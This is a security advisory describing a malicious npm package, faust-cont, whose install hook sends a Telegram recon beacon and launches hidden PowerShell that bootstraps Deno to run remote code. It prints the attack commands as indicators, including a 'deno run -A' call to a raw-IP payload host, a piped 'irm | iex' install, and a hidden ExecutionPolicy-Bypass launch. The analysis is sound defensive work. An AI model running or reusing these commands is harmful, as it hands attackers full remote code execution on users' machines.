faust-cont — an install-hook dropper that runs remote code via Deno
The npm package [email protected] declares an install lifecycle hook (node install.js) that runs on every npm install, before any of your own code. On Windows it writes and launches a hidden PowerShell script that bootstraps a runtime toolchain (scoop → winget → Deno) and then executes deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js — remote code fetched from a raw IP over plain HTTP, run with all Deno permissions. index.js is a benign "cli tool" decoy.
A staged install-time dropper. On npm install, faust-cont's install hook (node install.js) executes automatically — before the package is ever imported — fires a Telegram recon beacon and, on Windows, launches a hidden PowerShell stage that ends in a remote code-execution via Deno.
The novelty is the execution vector: rather than the usual curl | sh or a Node payload, it installs Deno and runs deno run -A <url>. Deno fetches and executes the remote module directly with all permissions granted — no payload file is written to disk by the dropper itself, only Deno's URL cache is populated. This side-steps Node-centric endpoint tooling. We describe this as Deno-as-LOLBin.
Described from structural analysis of the packed tarball — no working payload or reproduction is published.
1. Trigger. package.json declares scripts.install = "node install.js"; npm runs it automatically on install.
2. Recon beacon. install.js gathers OS / architecture / hostname / time and POSTs a [NEW INSTALLATION] message to the Telegram Bot API (api.telegram.org/bot<token>/sendMessage). In the published build the bot token and chat id are blank — the beacon machinery is present but inert as shipped.
3. Windows stage. It writes a PowerShell script to %TEMP%\setup.ps1 and launches it detached and hidden (start /min powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File …). The script bootstraps a toolchain so execution succeeds even on a clean host: it installs scoop (irm get.scoop.sh | iex), then winget, then Deno (winget install DenoLand.Deno).
4. Remote code execution. The final line runs deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js. -A grants the fetched module all permissions (filesystem, network, environment, subprocess). Per the dropper's own comments the URL serves a server-compiled launcher-1 that pulls a launcher-2 which "sets up autorun and runs main" — i.e. persistence plus a main payload, staged so the operator can change it server-side per build id.
Any Windows machine or CI runner that installs [email protected] (directly or transitively) hands full-permission remote code execution to the operator.
Detected + classified independently by codelake Research via its install-hook / dropper pipeline — deterministic structural analysis of the packed tarball (package.json install hook, hidden-PowerShell stage, scoop/winget/Deno bootstrap, deno run -A against a raw-IP payload). Not present in OSV at time of detection — codelake is the source of record.
This is a confirmed-malware advisory. No working payload or reproduction is published — the behaviour is described from structural analysis, and the payload host is named as a defensive indicator only. The package was already unpublished from npm; the original artifact is preserved in the codelake archive and available to verified security researchers on request.